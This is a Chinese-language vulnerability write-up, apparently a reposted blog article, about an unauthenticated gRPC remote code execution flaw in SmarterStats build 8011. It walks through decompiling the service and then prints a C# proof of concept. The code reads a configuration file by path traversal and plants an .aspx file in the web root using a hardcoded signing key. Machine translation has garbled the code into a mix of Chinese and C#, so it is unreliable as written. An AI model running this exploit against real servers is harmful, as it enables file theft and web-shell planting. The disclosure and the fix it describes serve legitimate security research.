SmarterStat 基于 gRPC 的 RCE

VSole2022-12-05 10:08:52

环境

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

分析

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

拉到dnspy中看一下

main函数启动了一个SSCollect服务类。

服务类调用了ServiceWorker.StartService()

新一个处理函数ServiceLifetimeFunction

这里调了ServiceWorker.Start()

启动中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务

分别对应

  1. 查询 -> QueryServiceImplementation
  2. 站点列表 -> 站点列表服务实现
  3. ServiceOperations -> ServiceOperationsServiceImplementation
  4. 站点控制 -> 站点控制服务实现

并且端口绑定在0.0.0.0:50003上

顺便点开一个服务来看看 QueryServiceImplementation

服务运营服务实施

能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc客户端的工具类

把这个代码dll加入引用中,然后如下。

这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

下一个就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter, ServerCallContext)任意读取文件

这里需要关闭 dnspy 的编译优化查看具体逻辑

SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

可选写入文件

加密密钥编码硬件,没用。

经验

使用 Grpc.Core ;使用 系统;使用 System.Collections.Generic ;使用 System.Linq ;使用 System.Text ;使用 System.Threading.Tasks ;使用 SmarterStats.Config.Protos ;使用 Google.Protobuf.WellKnownTypes ;使用 SmarterStats.Config.Utility ;使用 System.IO ;使用 Google.Protobuf ;namespace  Routeguide { 
    class  Program 
    { 
        static  async  Task < int >  Main ( string []  args ) 
        { 
            var  channel  =  new  Channel ( "172.16.16.132:50003" ,  ChannelCredentials . Insecure ); 
            服务运营。ServiceOperationsClient 客户端 = 新的 ServiceOperations 。ServiceOperationsClient (通道);
            GetExportedLogsForSiteRequest 请求 = 新的 GetExportedLogsForSiteRequest (); 
            请求。FileToDownload  =  @"..\..\MRS\App_Data\Config\AppConfig.xml" ; 
            AsyncServerStreamingCall < GetExportedLogsForSiteResponse >  asyncServerStreamingCall  = 客户端。GetExportedLogsForSite (请求); 
            而 (等待 asyncServerStreamingCall。ResponseStream。MoveNext ()){控制台。_ _ WriteLine ( asyncServerStreamingCall .
            
                响应流。当前. 数据。ToStringUtf8 ()); 
            }
            SaveFileToRequest  saveFileToRequest  =  new  SaveFileToRequest (); 
            保存文件到请求。文件名 =  @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx" ; 
            CryptographyHelper  cryptographyHelper  = 新的 CryptographyHelper ( 0 ); 
            时间戳 时间戳 = 时间戳。FromDateTime (日期时间. UtcNow ); 
            保存文件到请求。创建日期 = 时间戳;
            保存文件到请求。LastWriteDate  = 时间戳;
            密码学助手。SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" )  +  " ksghsfkgjh" ,  null ); 
            字符串 auth  =  cryptographyHelper 。EncodeToBase64 ( saveFileToRequest .文件名); 
            保存文件到请求。身份验证 = 身份验证;
            保存文件到请求。文件数据 = 字节串. CopyFromUtf8 (文件。ReadAllText (@“1.txt” ));客户端。SaveFileTo ( saveFileToRequest ); 控制台。WriteLine ( "写完。" ); 控制台。读键();返回0 ; } } }
            
            
            
             
        
    

修复

GetExportedLogsForSite文件并读取截取了文件名加了鉴权

SaveFileTo 文件写入限制了后缀白并且正则限制了路径

想念

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了后来吧。

参考

  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html
时间戳grpc
本作品采用《CC 协议》,转载必须注明作者和本文链接
SmarterStat 基于 gRPC 的 RCE
弄清其中使用的网络武器和数字技术,有助于帮助我们提前识别风险并合理规避风险,以免在面临网络攻击时深陷网络泥潭,防患于未然。破坏性攻击旨在破坏数据并使目标系统无法运行。HermeticWiper特别针对Windows注册表文件ntuser.dat和Windows事件日志,以尽量减少可用的取证文物。
最全Linux命令总结
实验分析表明,该方案能够在保证共识效率和容错性的同时,大幅降低区块链节点的存储开销。近年来随着区块链的发展,众多国家政府、企业和研究机构开始关注并重视这一新兴的信息技术。此外,该存储模型中的区块链账本由所有节点共同维护,符合区块链“去中心化”的思想。
渗透工程师常用命令速查手册
arch #显示机器的处理器架构(1) uname -m #显示机器的处理器架构(2) uname -r #显示正在使用的内核版本 dmidecode -q #显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda #罗列一个磁盘的架构特性 hdparm -tT /dev/sda #在磁盘上执行测试性读取操作 cat /p
今天,给小伙伴们带来一篇 Linux 命令总结的非常全的文章,也是我们平时工作中使用率非常高的操作命令,命令有点多,建议小伙伴们可以先收藏后阅读。
VSole
网络安全专家